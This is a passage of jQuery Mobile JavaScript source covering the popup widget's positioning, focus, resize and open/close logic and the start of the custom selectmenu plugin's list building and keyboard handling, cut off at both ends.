this.document, { "focusin": "_handleDocumentFocusIn" } ); }, _enhance: function( theElement, myId ) { var currentOptions = this.options, wrapperClass = currentOptions.wrapperClass, ui = { screen: $( "<div class='ui-screen-hidden ui-popup-screen " + this._themeClassFromOption( "ui-overlay-", currentOptions.overlayTheme ) + "'></div>" ), placeholder: $( "<div style='display: none;'><!-- placeholder --></div>" ), container: $( "<div class='ui-popup-container ui-popup-hidden ui-popup-truncate" + ( wrapperClass ? ( " " + wrapperClass ) : "" ) + "'></div>" ) }, fragment = this.document[ 0 ].createDocumentFragment(); fragment.appendChild( ui.screen[ 0 ] ); fragment.appendChild( ui.container[ 0 ] ); if ( myId ) { ui.screen.attr( "id", myId + "-screen" ); ui.container.attr( "id", myId + "-popup" ); ui.placeholder .attr( "id", myId + "-placeholder" ) .html( "<!-- placeholder for " + myId + " -->" ); } // Apply the proto this._page[ 0 ].appendChild( fragment ); // Leave a placeholder where the element used to be ui.placeholder.insertAfter( theElement ); theElement .detach() .addClass( "ui-popup " + this._themeClassFromOption( "ui-body-", currentOptions.theme ) + " " + ( currentOptions.shadow ? "ui-overlay-shadow " : "" ) + ( currentOptions.corners ? "ui-corner-all " : "" ) ) .appendTo( ui.container ); return ui; }, _eatEventAndClose: function( theEvent ) { theEvent.preventDefault(); theEvent.stopImmediatePropagation(); if ( this.options.dismissible ) { this.close(); } return false; }, // Make sure the screen covers the entire document - CSS is sometimes not // enough to accomplish this. _resizeScreen: function() { var screen = this._ui.screen, popupHeight = this._ui.container.outerHeight( true ), screenHeight = screen.removeAttr( "style" ).height(), // Subtracting 1 here is necessary for an obscure Andrdoid 4.0 bug where // the browser hangs if the screen covers the entire document :/ documentHeight = this.document.height() - 1; if ( screenHeight < documentHeight ) { screen.height( documentHeight ); } else if ( popupHeight > screenHeight ) { screen.height( popupHeight ); } }, _handleWindowKeyUp: function( theEvent ) { if ( this._isOpen && theEvent.keyCode === $.mobile.keyCode.ESCAPE ) { return this._eatEventAndClose( theEvent ); } }, _expectResizeEvent: function() { var windowCoordinates = getWindowCoordinates( this.window ); if ( this._resizeData ) { if ( windowCoordinates.x === this._resizeData.windowCoordinates.x && windowCoordinates.y === this._resizeData.windowCoordinates.y && windowCoordinates.cx === this._resizeData.windowCoordinates.cx && windowCoordinates.cy === this._resizeData.windowCoordinates.cy ) { // timeout not refreshed return false; } else { // clear existing timeout - it will be refreshed below clearTimeout( this._resizeData.timeoutId ); } } this._resizeData = { timeoutId: this._delay( "_resizeTimeout", 200 ), windowCoordinates: windowCoordinates }; return true; }, _resizeTimeout: function() { if ( this._isOpen ) { if ( !this._expectResizeEvent() ) { if ( this._ui.container.hasClass( "ui-popup-hidden" ) ) { // effectively rapid-open the popup while leaving the screen intact this._ui.container.removeClass( "ui-popup-hidden ui-popup-truncate" ); this.reposition( { positionTo: "window" } ); this._ignoreResizeEvents(); } this._resizeScreen(); this._resizeData = null; this._orientationchangeInProgress = false; } } else { this._resizeData = null; this._orientationchangeInProgress = false; } }, _stopIgnoringResizeEvents: function() { this._ignoreResizeTo = 0; }, _ignoreResizeEvents: function() { if ( this._ignoreResizeTo ) { clearTimeout( this._ignoreResizeTo ); } this._ignoreResizeTo = this._delay( "_stopIgnoringResizeEvents", 1000 ); }, _handleWindowResize: function(/* theEvent */) { if ( this._isOpen && this._ignoreResizeTo === 0 ) { if ( ( this._expectResizeEvent() || this._orientationchangeInProgress ) && !this._ui.container.hasClass( "ui-popup-hidden" ) ) { // effectively rapid-close the popup while leaving the screen intact this._ui.container .addClass( "ui-popup-hidden ui-popup-truncate" ) .removeAttr( "style" ); } } }, _handleWindowOrientationchange: function(/* theEvent */) { if ( !this._orientationchangeInProgress && this._isOpen && this._ignoreResizeTo === 0 ) { this._expectResizeEvent(); this._orientationchangeInProgress = true; } }, // When the popup is open, attempting to focus on an element that is not a // child of the popup will redirect focus to the popup _handleDocumentFocusIn: function( theEvent ) { var target, targetElement = theEvent.target, ui = this._ui; if ( !this._isOpen ) { return; } if ( targetElement !== ui.container[ 0 ] ) { target = $( targetElement ); if ( !$.contains( ui.container[ 0 ], targetElement ) ) { $( this.document[ 0 ].activeElement ).one( "focus", $.proxy( function() { this._safelyBlur( targetElement ); }, this ) ); ui.focusElement.focus(); theEvent.preventDefault(); theEvent.stopImmediatePropagation(); return false; } else if ( ui.focusElement[ 0 ] === ui.container[ 0 ] ) { ui.focusElement = target; } } this._ignoreResizeEvents(); }, _themeClassFromOption: function( prefix, value ) { return ( value ? ( value === "none" ? "" : ( prefix + value ) ) : ( prefix + "inherit" ) ); }, _applyTransition: function( value ) { if ( value ) { this._ui.container.removeClass( this._fallbackTransition ); if ( value !== "none" ) { this._fallbackTransition = $.mobile._maybeDegradeTransition( value ); if ( this._fallbackTransition === "none" ) { this._fallbackTransition = ""; } this._ui.container.addClass( this._fallbackTransition ); } } return this; }, _setOptions: function( newOptions ) { var currentOptions = this.options, theElement = this.element, screen = this._ui.screen; if ( newOptions.wrapperClass !== undefined ) { this._ui.container .removeClass( currentOptions.wrapperClass ) .addClass( newOptions.wrapperClass ); } if ( newOptions.theme !== undefined ) { theElement .removeClass( this._themeClassFromOption( "ui-body-", currentOptions.theme ) ) .addClass( this._themeClassFromOption( "ui-body-", newOptions.theme ) ); } if ( newOptions.overlayTheme !== undefined ) { screen .removeClass( this._themeClassFromOption( "ui-overlay-", currentOptions.overlayTheme ) ) .addClass( this._themeClassFromOption( "ui-overlay-", newOptions.overlayTheme ) ); if ( this._isOpen ) { screen.addClass( "in" ); } } if ( newOptions.shadow !== undefined ) { theElement.toggleClass( "ui-overlay-shadow", newOptions.shadow ); } if ( newOptions.corners !== undefined ) { theElement.toggleClass( "ui-corner-all", newOptions.corners ); } if ( newOptions.transition !== undefined ) { if ( !this._currentTransition ) { this._applyTransition( newOptions.transition ); } } if ( newOptions.tolerance !== undefined ) { this._setTolerance( newOptions.tolerance ); } if ( newOptions.disabled !== undefined ) { if ( newOptions.disabled ) { this.close(); } } return this._super( newOptions ); }, _setTolerance: function( value ) { var tol = { t: 30, r: 15, b: 30, l: 15 }, ar; if ( value !== undefined ) { ar = String( value ).split( "," ); $.each( ar, function( idx, val ) { ar[ idx ] = parseInt( val, 10 ); } ); switch( ar.length ) { // All values are to be the same case 1: if ( !isNaN( ar[ 0 ] ) ) { tol.t = tol.r = tol.b = tol.l = ar[ 0 ]; } break; // The first value denotes top/bottom tolerance, and the second value denotes left/right tolerance case 2: if ( !isNaN( ar[ 0 ] ) ) { tol.t = tol.b = ar[ 0 ]; } if ( !isNaN( ar[ 1 ] ) ) { tol.l = tol.r = ar[ 1 ]; } break; // The array contains values in the order top, right, bottom, left case 4: if ( !isNaN( ar[ 0 ] ) ) { tol.t = ar[ 0 ]; } if ( !isNaN( ar[ 1 ] ) ) { tol.r = ar[ 1 ]; } if ( !isNaN( ar[ 2 ] ) ) { tol.b = ar[ 2 ]; } if ( !isNaN( ar[ 3 ] ) ) { tol.l = ar[ 3 ]; } break; default: break; } } this._tolerance = tol; return this; }, _clampPopupWidth: function( infoOnly ) { var menuSize, windowCoordinates = getWindowCoordinates( this.window ), // rectangle within which the popup must fit rectangle = { x: this._tolerance.l, y: windowCoordinates.y + this._tolerance.t, cx: windowCoordinates.cx - this._tolerance.l - this._tolerance.r, cy: windowCoordinates.cy - this._tolerance.t - this._tolerance.b }; if ( !infoOnly ) { // Clamp the width of the menu before grabbing its size this._ui.container.css( "max-width", rectangle.cx ); } menuSize = { cx: this._ui.container.outerWidth( true ), cy: this._ui.container.outerHeight( true ) }; return { rc: rectangle, menuSize: menuSize }; }, _calculateFinalLocation: function( desired, clampInfo ) { var returnValue, rectangle = clampInfo.rc, menuSize = clampInfo.menuSize; // Center the menu over the desired coordinates, while not going outside // the window tolerances. This will center wrt. the window if the popup is // too large. returnValue = { left: fitSegmentInsideSegment( rectangle.cx, menuSize.cx, rectangle.x, desired.x ), top: fitSegmentInsideSegment( rectangle.cy, menuSize.cy, rectangle.y, desired.y ) }; // Make sure the top of the menu is visible returnValue.top = Math.max( 0, returnValue.top ); // If the height of the menu is smaller than the height of the document // align the bottom with the bottom of the document returnValue.top -= Math.min( returnValue.top, Math.max( 0, returnValue.top + menuSize.cy - this.document.height() ) ); return returnValue; }, // Try and center the overlay over the given coordinates _placementCoords: function( desired ) { return this._calculateFinalLocation( desired, this._clampPopupWidth() ); }, _createPrerequisites: function( screenPrerequisite, containerPrerequisite, whenDone ) { var prerequisites, self = this; // It is important to maintain both the local variable prerequisites and // self._prerequisites. The local variable remains in the closure of the // functions which call the callbacks passed in. The comparison between the // local variable and self._prerequisites is necessary, because once a // function has been passed to .animationComplete() it will be called next // time an animation completes, even if that's not the animation whose end // the function was supposed to catch (for example, if an abort happens // during the opening animation, the .animationComplete handler is not // called for that animation anymore, but the handler remains attached, so // it is called the next time the popup is opened - making it stale. // Comparing the local variable prerequisites to the widget-level variable // self._prerequisites ensures that callbacks triggered by a stale // .animationComplete will be ignored. prerequisites = { screen: $.Deferred(), container: $.Deferred() }; prerequisites.screen.then( function() { if ( prerequisites === self._prerequisites ) { screenPrerequisite(); } }); prerequisites.container.then( function() { if ( prerequisites === self._prerequisites ) { containerPrerequisite(); } }); $.when( prerequisites.screen, prerequisites.container ).done( function() { if ( prerequisites === self._prerequisites ) { self._prerequisites = null; whenDone(); } }); self._prerequisites = prerequisites; }, _animate: function( args ) { // NOTE before removing the default animation of the screen // this had an animate callback that would resolve the deferred // now the deferred is resolved immediately // TODO remove the dependency on the screen deferred this._ui.screen .removeClass( args.classToRemove ) .addClass( args.screenClassToAdd ); args.prerequisites.screen.resolve(); if ( args.transition && args.transition !== "none" ) { if ( args.applyTransition ) { this._applyTransition( args.transition ); } if ( this._fallbackTransition ) { this._ui.container .addClass( args.containerClassToAdd ) .removeClass( args.classToRemove ) .animationComplete( $.proxy( args.prerequisites.container, "resolve" ) ); return; } } this._ui.container.removeClass( args.classToRemove ); args.prerequisites.container.resolve(); }, // The desired coordinates passed in will be returned untouched if no reference element can be identified via // desiredPosition.positionTo. Nevertheless, this function ensures that its return value always contains valid // x and y coordinates by specifying the center middle of the window if the coordinates are absent. // options: { x: coordinate, y: coordinate, positionTo: string: "origin", "window", or jQuery selector _desiredCoords: function( openOptions ) { var offset, dst = null, windowCoordinates = getWindowCoordinates( this.window ), x = openOptions.x, y = openOptions.y, pTo = openOptions.positionTo; // Establish which element will serve as the reference if ( pTo && pTo !== "origin" ) { if ( pTo === "window" ) { x = windowCoordinates.cx / 2 + windowCoordinates.x; y = windowCoordinates.cy / 2 + windowCoordinates.y; } else { try { dst = $( pTo ); } catch( err ) { dst = null; } if ( dst ) { dst.filter( ":visible" ); if ( dst.length === 0 ) { dst = null; } } } } // If an element was found, center over it if ( dst ) { offset = dst.offset(); x = offset.left + dst.outerWidth() / 2; y = offset.top + dst.outerHeight() / 2; } // Make sure x and y are valid numbers - center over the window if ( $.type( x ) !== "number" || isNaN( x ) ) { x = windowCoordinates.cx / 2 + windowCoordinates.x; } if ( $.type( y ) !== "number" || isNaN( y ) ) { y = windowCoordinates.cy / 2 + windowCoordinates.y; } return { x: x, y: y }; }, _reposition: function( openOptions ) { // We only care about position-related parameters for repositioning openOptions = { x: openOptions.x, y: openOptions.y, positionTo: openOptions.positionTo }; this._trigger( "beforeposition", undefined, openOptions ); this._ui.container.offset( this._placementCoords( this._desiredCoords( openOptions ) ) ); }, reposition: function( openOptions ) { if ( this._isOpen ) { this._reposition( openOptions ); } }, _safelyBlur: function( currentElement ){ if ( currentElement !== this.window[ 0 ] && currentElement.nodeName.toLowerCase() !== "body" ) { $( currentElement ).blur(); } }, _openPrerequisitesComplete: function() { var id = this.element.attr( "id" ), firstFocus = this._ui.container.find( ":focusable" ).first(); this._ui.container.addClass( "ui-popup-active" ); this._isOpen = true; this._resizeScreen(); // Check to see if currElement is not a child of the container. If it's not, blur if ( !$.contains( this._ui.container[ 0 ], this.document[ 0 ].activeElement ) ) { this._safelyBlur( this.document[ 0 ].activeElement ); } if ( firstFocus.length > 0 ) { this._ui.focusElement = firstFocus; } this._ignoreResizeEvents(); if ( id ) { this.document.find( "[aria-haspopup='true'][aria-owns='" + id + "']" ).attr( "aria-expanded", true ); } this._trigger( "afteropen" ); }, _open: function( options ) { var openOptions = $.extend( {}, this.options, options ), // TODO move blacklist to private method androidBlacklist = ( function() { var ua = navigator.userAgent, // Rendering engine is Webkit, and capture major version wkmatch = ua.match( /AppleWebKit\/([0-9\.]+)/ ), wkversion = !!wkmatch && wkmatch[ 1 ], androidmatch = ua.match( /Android (\d+(?:\.\d+))/ ), andversion = !!androidmatch && androidmatch[ 1 ], chromematch = ua.indexOf( "Chrome" ) > -1; // Platform is Android, WebKit version is greater than 534.13 ( Android 3.2.1 ) and not Chrome. if ( androidmatch !== null && andversion === "4.0" && wkversion && wkversion > 534.13 && !chromematch ) { return true; } return false; }()); // Count down to triggering "popupafteropen" - we have two prerequisites: // 1. The popup window animation completes (container()) // 2. The screen opacity animation completes (screen()) this._createPrerequisites( $.noop, $.noop, $.proxy( this, "_openPrerequisitesComplete" ) ); this._currentTransition = openOptions.transition; this._applyTransition( openOptions.transition ); this._ui.screen.removeClass( "ui-screen-hidden" ); this._ui.container.removeClass( "ui-popup-truncate" ); // Give applications a chance to modify the contents of the container before it appears this._reposition( openOptions ); this._ui.container.removeClass( "ui-popup-hidden" ); if ( this.options.overlayTheme && androidBlacklist ) { /* TODO: The native browser on Android 4.0.X ("Ice Cream Sandwich") suffers from an issue where the popup overlay appears to be z-indexed above the popup itself when certain other styles exist on the same page -- namely, any element set to `position: fixed` and certain types of input. These issues are reminiscent of previously uncovered bugs in older versions of Android's native browser: https://github.com/scottjehl/Device-Bugs/issues/3 This fix closes the following bugs ( I use "closes" with reluctance, and stress that this issue should be revisited as soon as possible ): https://github.com/jquery/jquery-mobile/issues/4816 https://github.com/jquery/jquery-mobile/issues/4844 https://github.com/jquery/jquery-mobile/issues/4874 */ // TODO sort out why this._page isn't working this.element.closest( ".ui-page" ).addClass( "ui-popup-open" ); } this._animate({ additionalCondition: true, transition: openOptions.transition, classToRemove: "", screenClassToAdd: "in", containerClassToAdd: "in", applyTransition: false, prerequisites: this._prerequisites }); }, _closePrerequisiteScreen: function() { this._ui.screen .removeClass( "out" ) .addClass( "ui-screen-hidden" ); }, _closePrerequisiteContainer: function() { this._ui.container .removeClass( "reverse out" ) .addClass( "ui-popup-hidden ui-popup-truncate" ) .removeAttr( "style" ); }, _closePrerequisitesDone: function() { var container = this._ui.container, id = this.element.attr( "id" ); // remove the global mutex for popups $.mobile.popup.active = undefined; // Blur elements inside the container, including the container $( ":focus", container[ 0 ] ).add( container[ 0 ] ).blur(); if ( id ) { this.document.find( "[aria-haspopup='true'][aria-owns='" + id + "']" ).attr( "aria-expanded", false ); } // alert users that the popup is closed this._trigger( "afterclose" ); }, _close: function( immediate ) { this._ui.container.removeClass( "ui-popup-active" ); this._page.removeClass( "ui-popup-open" ); this._isOpen = false; // Count down to triggering "popupafterclose" - we have two prerequisites: // 1. The popup window reverse animation completes (container()) // 2. The screen opacity animation completes (screen()) this._createPrerequisites( $.proxy( this, "_closePrerequisiteScreen" ), $.proxy( this, "_closePrerequisiteContainer" ), $.proxy( this, "_closePrerequisitesDone" ) ); this._animate( { additionalCondition: this._ui.screen.hasClass( "in" ), transition: ( immediate ? "none" : ( this._currentTransition ) ), classToRemove: "in", screenClassToAdd: "out", containerClassToAdd: "reverse out", applyTransition: true, prerequisites: this._prerequisites }); }, _unenhance: function() { if ( this.options.enhanced ) { return; } // Put the element back to where the placeholder was and remove the "ui-popup" class this._setOptions( { theme: $.mobile.popup.prototype.options.theme } ); this.element // Cannot directly insertAfter() - we need to detach() first, because // insertAfter() will do nothing if the payload div was not attached // to the DOM at the time the widget was created, and so the payload // will remain inside the container even after we call insertAfter(). // If that happens and we remove the container a few lines below, we // will cause an infinite recursion - #5244 .detach() .insertAfter( this._ui.placeholder ) .removeClass( "ui-popup ui-overlay-shadow ui-corner-all ui-body-inherit" ); this._ui.screen.remove(); this._ui.container.remove(); this._ui.placeholder.remove(); }, _destroy: function() { if ( $.mobile.popup.active === this ) { this.element.one( "popupafterclose", $.proxy( this, "_unenhance" ) ); this.close(); } else { this._unenhance(); } return this; }, _closePopup: function( theEvent, data ) { var parsedDst, toUrl, currentOptions = this.options, immediate = false; if ( ( theEvent && theEvent.isDefaultPrevented() ) || $.mobile.popup.active !== this ) { return; } // restore location on screen window.scrollTo( 0, this._scrollTop ); if ( theEvent && theEvent.type === "pagebeforechange" && data ) { // Determine whether we need to rapid-close the popup, or whether we can // take the time to run the closing transition if ( typeof data.toPage === "string" ) { parsedDst = data.toPage; } else { parsedDst = data.toPage.jqmData( "url" ); } parsedDst = $.mobile.path.parseUrl( parsedDst ); toUrl = parsedDst.pathname + parsedDst.search + parsedDst.hash; if ( this._myUrl !== $.mobile.path.makeUrlAbsolute( toUrl ) ) { // Going to a different page - close immediately immediate = true; } else { theEvent.preventDefault(); } } // remove nav bindings this.window.off( currentOptions.closeEvents ); // unbind click handlers added when history is disabled this.element.undelegate( currentOptions.closeLinkSelector, currentOptions.closeLinkEvents ); this._close( immediate ); }, // any navigation event after a popup is opened should close the popup // NOTE the pagebeforechange is bound to catch navigation events that don't // alter the url (eg, dialogs from popups) _bindContainerClose: function() { this.window .on( this.options.closeEvents, $.proxy( this, "_closePopup" ) ); }, widget: function() { return this._ui.container; }, // TODO no clear deliniation of what should be here and // what should be in _open. Seems to be "visual" vs "history" for now open: function( options ) { var url, hashkey, activePage, currentIsDialog, hasHash, urlHistory, self = this, currentOptions = this.options; // make sure open is idempotent if ( $.mobile.popup.active || currentOptions.disabled ) { return this; } // set the global popup mutex $.mobile.popup.active = this; this._scrollTop = this.window.scrollTop(); // if history alteration is disabled close on navigate events // and leave the url as is if ( !( currentOptions.history ) ) { self._open( options ); self._bindContainerClose(); // When histoy is disabled we have to grab the data-rel // back link clicks so we can close the popup instead of // relying on history to do it for us self.element .delegate( currentOptions.closeLinkSelector, currentOptions.closeLinkEvents, function( theEvent ) { self.close(); theEvent.preventDefault(); }); return this; } // cache some values for min/readability urlHistory = $.mobile.navigate.history; hashkey = $.mobile.dialogHashKey; activePage = $.mobile.activePage; currentIsDialog = ( activePage ? activePage.hasClass( "ui-dialog" ) : false ); this._myUrl = url = urlHistory.getActive().url; hasHash = ( url.indexOf( hashkey ) > -1 ) && !currentIsDialog && ( urlHistory.activeIndex > 0 ); if ( hasHash ) { self._open( options ); self._bindContainerClose(); return this; } // if the current url has no dialog hash key proceed as normal // otherwise, if the page is a dialog simply tack on the hash key if ( url.indexOf( hashkey ) === -1 && !currentIsDialog ) { url = url + (url.indexOf( "#" ) > -1 ? hashkey : "#" + hashkey); } else { url = $.mobile.path.parseLocation().hash + hashkey; } // swallow the the initial navigation event, and bind for the next this.window.one( "beforenavigate", function( theEvent ) { theEvent.preventDefault(); self._open( options ); self._bindContainerClose(); }); this.urlAltered = true; $.mobile.navigate( url, { role: "dialog" } ); return this; }, close: function() { // make sure close is idempotent if ( $.mobile.popup.active !== this ) { return this; } this._scrollTop = this.window.scrollTop(); if ( this.options.history && this.urlAltered ) { $.mobile.back(); this.urlAltered = false; } else { // simulate the nav bindings having fired this._closePopup(); } return this; } }); // TODO this can be moved inside the widget $.mobile.popup.handleLink = function( $link ) { var offset, path = $.mobile.path, // NOTE make sure to get only the hash from the href because ie7 (wp7) // returns the absolute href in this case ruining the element selection popup = $( path.hashToSelector( path.parseUrl( $link.attr( "href" ) ).hash ) ).first(); if ( popup.length > 0 && popup.data( "mobile-popup" ) ) { offset = $link.offset(); popup.popup( "open", { x: offset.left + $link.outerWidth() / 2, y: offset.top + $link.outerHeight() / 2, transition: $link.jqmData( "transition" ), positionTo: $link.jqmData( "position-to" ) }); } //remove after delay setTimeout( function() { $link.removeClass( $.mobile.activeBtnClass ); }, 300 ); }; // TODO move inside _create $.mobile.document.on( "pagebeforechange", function( theEvent, data ) { if ( data.options.role === "popup" ) { $.mobile.popup.handleLink( data.options.link ); theEvent.preventDefault(); } }); })( jQuery ); /* * custom "selectmenu" plugin */ (function( $, undefined ) { var unfocusableItemSelector = ".ui-disabled,.ui-state-disabled,.ui-li-divider,.ui-screen-hidden,:jqmData(role='placeholder')", goToAdjacentItem = function( item, target, direction ) { var adjacent = item[ direction + "All" ]() .not( unfocusableItemSelector ) .first(); // if there's a previous option, focus it if ( adjacent.length ) { target .blur() .attr( "tabindex", "-1" ); adjacent.find( "a" ).first().focus(); } }; $.widget( "mobile.selectmenu", $.mobile.selectmenu, { _create: function() { var o = this.options; // Custom selects cannot exist inside popups, so revert the "nativeMenu" // option to true if a parent is a popup o.nativeMenu = o.nativeMenu || ( this.element.parents( ":jqmData(role='popup'),:mobile-popup" ).length > 0 ); return this._super(); }, _handleSelectFocus: function() { this.element.blur(); this.button.focus(); }, _handleKeydown: function( event ) { this._super( event ); this._handleButtonVclickKeydown( event ); }, _handleButtonVclickKeydown: function( event ) { if ( this.options.disabled || this.isOpen || this.options.nativeMenu ) { return; } if (event.type === "vclick" || event.keyCode && (event.keyCode === $.mobile.keyCode.ENTER || event.keyCode === $.mobile.keyCode.SPACE)) { this._decideFormat(); if ( this.menuType === "overlay" ) { this.button.attr( "href", "#" + this.popupId ).attr( "data-" + ( $.mobile.ns || "" ) + "rel", "popup" ); } else { this.button.attr( "href", "#" + this.dialogId ).attr( "data-" + ( $.mobile.ns || "" ) + "rel", "dialog" ); } this.isOpen = true; // Do not prevent default, so the navigation may have a chance to actually open the chosen format } }, _handleListFocus: function( e ) { var params = ( e.type === "focusin" ) ? { tabindex: "0", event: "vmouseover" }: { tabindex: "-1", event: "vmouseout" }; $( e.target ) .attr( "tabindex", params.tabindex ) .trigger( params.event ); }, _handleListKeydown: function( event ) { var target = $( event.target ), li = target.closest( "li" ); // switch logic based on which key was pressed switch ( event.keyCode ) { // up or left arrow keys case 38: goToAdjacentItem( li, target, "prev" ); return false; // down or right arrow keys case 40: goToAdjacentItem( li, target, "next" ); return false; // If enter or space is pressed, trigger click case 13: case 32: target.trigger( "click" ); return false; } }, _handleMenuPageHide: function() { // After the dialog's done, we may want to trigger change if the value has actually changed this._delayedTrigger(); // TODO centralize page removal binding / handling in the page plugin. // Suggestion from @jblas to do refcounting // // TODO extremely confusing dependency on the open method where the pagehide.remove // bindings are stripped to prevent the parent page from disappearing. The way // we're keeping pages in the DOM right now sucks // // rebind the page remove that was unbound in the open function // to allow for the parent page removal from actions other than the use // of a dialog sized custom select // // doing this here provides for the back button on the custom select dialog this.thisPage.page( "bindRemove" ); }, _handleHeaderCloseClick: function() { if ( this.menuType === "overlay" ) { this.close(); return false; } }, _handleListItemClick: function( event ) { var listItem = $( event.target ).closest( "li" ), // Index of option tag to be selected oldIndex = this.select[ 0 ].selectedIndex, newIndex = $.mobile.getAttribute( listItem, "option-index" ), option = this._selectOptions().eq( newIndex )[ 0 ]; // Toggle selected status on the tag for multi selects option.selected = this.isMultiple ? !option.selected : true; // Toggle checkbox class for multiple selects if ( this.isMultiple ) { listItem.find( "a" ) .toggleClass( "ui-checkbox-on", option.selected ) .toggleClass( "ui-checkbox-off", !option.selected ); } // If it's not a multiple select, trigger change after it has finished closing if ( !this.isMultiple && oldIndex !== newIndex ) { this._triggerChange = true; } // Trigger change if it's a multiple select // Hide custom select for single selects only - otherwise focus clicked item // We need to grab the clicked item the hard way, because the list may have been rebuilt if ( this.isMultiple ) { this.select.trigger( "change" ); this.list.find( "li:not(.ui-li-divider)" ).eq( newIndex ) .find( "a" ).first().focus(); } else { this.close(); } event.preventDefault(); }, build: function() { var selectId, popupId, dialogId, label, thisPage, isMultiple, menuId, themeAttr, overlayTheme, overlayThemeAttr, dividerThemeAttr, menuPage, listbox, list, header, headerTitle, menuPageContent, menuPageClose, headerClose, o = this.options; if ( o.nativeMenu ) { return this._super(); } selectId = this.selectId; popupId = selectId + "-listbox"; dialogId = selectId + "-dialog"; label = this.label; thisPage = this.element.closest( ".ui-page" ); isMultiple = this.element[ 0 ].multiple; menuId = selectId + "-menu"; themeAttr = o.theme ? ( " data-" + $.mobile.ns + "theme='" + o.theme + "'" ) : ""; overlayTheme = o.overlayTheme || o.theme || null; overlayThemeAttr = overlayTheme ? ( " data-" + $.mobile.ns + "overlay-theme='" + overlayTheme + "'" ) : ""; dividerThemeAttr = ( o.dividerTheme && isMultiple ) ? ( " data-" + $.mobile.ns + "divider-theme='" + o.dividerTheme + "'" ) : ""; menuPage = $( "<div data-" + $.mobile.ns + "role='dialog' class='ui-selectmenu' id='" + dialogId + "'" + themeAttr + overlayThemeAttr + ">" + "<div data-" + $.mobile.ns + "role='header'>" + "<div class='ui-title'></div>"+ "</div>"+ "<div data-" + $.mobile.ns + "role='content'></div>"+ "</div>" ); listbox = $( "<div" + themeAttr + overlayThemeAttr + " id='" + popupId + "' class='ui-selectmenu'></div>" ) .insertAfter( this.select ) .popup(); list = $( "<ul class='ui-selectmenu-list' id='" + menuId + "' role='listbox' aria-labelledby='" + this.buttonId + "'" + themeAttr + dividerThemeAttr + "></ul>" ).appendTo( listbox ); header = $( "<div class='ui-header ui-bar-" + ( o.theme ? o.theme : "inherit" ) + "'></div>" ).prependTo( listbox ); headerTitle = $( "<h1 class='ui-title'></h1>" ).appendTo( header ); if ( this.isMultiple ) { headerClose = $( "<a>", { "role": "button", "text": o.closeText, "href": "#", "class": "ui-btn ui-corner-all ui-btn-left ui-btn-icon-notext ui-icon-delete" }).appendTo( header ); } $.extend( this, { selectId: selectId, menuId: menuId, popupId: popupId, dialogId: dialogId, thisPage: thisPage, menuPage: menuPage, label: label, isMultiple: isMultiple, theme: o.theme, listbox: listbox, list: list, header: header, headerTitle: headerTitle, headerClose: headerClose, menuPageContent: menuPageContent, menuPageClose: menuPageClose, placeholder: "" }); // Create list from select, update state this.refresh(); if ( this._origTabIndex === undefined ) { // Map undefined to false, because this._origTabIndex === undefined // indicates that we have not yet checked whether the select has // originally had a tabindex attribute, whereas false indicates that // we have checked the select for such an attribute, and have found // none present. this._origTabIndex = ( this.select[ 0 ].getAttribute( "tabindex" ) === null ) ? false : this.select.attr( "tabindex" ); } this.select.attr( "tabindex", "-1" ); this._on( this.select, { focus : "_handleSelectFocus" } ); // Button events this._on( this.button, { vclick: "_handleButtonVclickKeydown" }); // Events for list items this.list.attr( "role", "listbox" ); this._on( this.list, { "focusin": "_handleListFocus", "focusout": "_handleListFocus", "keydown": "_handleListKeydown", "click li:not(.ui-disabled,.ui-state-disabled,.ui-li-divider)": "_handleListItemClick" }); // button refocus ensures proper height calculation // by removing the inline style and ensuring page inclusion this._on( this.menuPage, { pagehide: "_handleMenuPageHide" } ); // Events on the popup this._on( this.listbox, { popupafterclose: "_popupClosed" } ); // Close button on small overlays if ( this.isMultiple ) { this._on( this.headerClose, { click: "_handleHeaderCloseClick" } ); } return this; }, _popupClosed: function() { this.close(); this._delayedTrigger(); }, _delayedTrigger: function() { if ( this._triggerChange ) { this.element.trigger( "change" ); } this._triggerChange = false; }, _isRebuildRequired: function() { var list = this.list.find( "li" ), options = this._selectOptions().not( ".ui-screen-hidden" ); // TODO exceedingly naive method to determine difference // ignores value changes etc in favor of a forcedRebuild // from the user in the refresh method return options.text() !== list.text(); }, selected: function() { return this._selectOptions().filter( ":selected:not( :jqmData(placeholder='true') )" ); }, refresh: function( force ) { var self, indices; if ( this.options.nativeMenu ) { return this._super( force ); } self = this; if ( force || this._isRebuildRequired() ) { self._buildList(); } indices = this.selectedIndices(); self.setButtonText(); self.setButtonCount(); self.list.find( "li:not(.ui-li-divider)" ) .find( "a" ).removeClass( $.mobile.activeBtnClass ).end() .attr( "aria-selected", false ) .each(function( i ) { var item = $( this ); if ( $.inArray( i, indices ) > -1 ) { // Aria selected attr item.attr( "aria-selected", true ); // Multiple selects: add the "on" checkbox state to the icon if ( self.isMultiple ) { item.find( "a" ).removeClass( "ui-checkbox-off" ).addClass( "ui-checkbox-on" ); } else { if ( item.hasClass( "ui-screen-hidden" ) ) { item.next().find( "a" ).addClass( $.mobile.activeBtnClass ); } else { item.find( "a" ).addClass( $.mobile.activeBtnClass ); } } } else if ( self.isMultiple ) { item.find( "a" ).removeClass( "ui-checkbox-on" ).addClass( "ui-checkbox-off" ); } }); }, close: function() { if ( this.options.disabled || !this.isOpen ) { return; } var self = this; if ( self.menuType === "page" ) { self.menuPage.dialog( "close" ); self.list.appendTo( self.listbox ); } else { self.listbox.popup( "close" ); } self._focusButton(); // allow the dialog to be closed again self.isOpen = false; }, open: function() { this.button.click(); }, _focusMenuItem: function() { var selector = this.list.find( "a." + $.mobile.activeBtnClass ); if ( selector.length === 0 ) { selector = this.list.find( "li:not(" + unfocusableItemSelector + ") a.ui-btn" ); } selector.first().focus(); }, _decideFormat: function() { var self = this, $window = this.window, selfListParent = self.list.parent(), menuHeight = selfListParent.outerHeight(), scrollTop = $window.scrollTop(), btnOffset = self.button.offset().top, screenHeight = $window.height(); if ( menuHeight > screenHeight - 80 || !$.support.scrollTop ) { self.menuPage.appendTo( $.mobile.pageContainer ).page(); self.menuPageContent = self.menuPage.find( ".ui-content" ); self.menuPageClose = self.menuPage.find( ".ui-header a" ); // prevent the parent page from being removed from the DOM, // otherwise the results of selecting a list item in the dialog // fall into a black hole self.thisPage.unbind( "pagehide.remove" ); //for WebOS/Opera Mini (set lastscroll using button offset) if ( scrollTop === 0 && btnOffset > screenHeight ) { self.thisPage.one( "pagehide", function() { $( this ).jqmData( "lastScroll", btnOffset ); }); } self.menuPage.one( { pageshow: $.proxy( this, "_focusMenuItem" ), pagehide: $.proxy( this, "close" ) }); self.menuType = "page"; self.menuPageContent.append( self.list ); 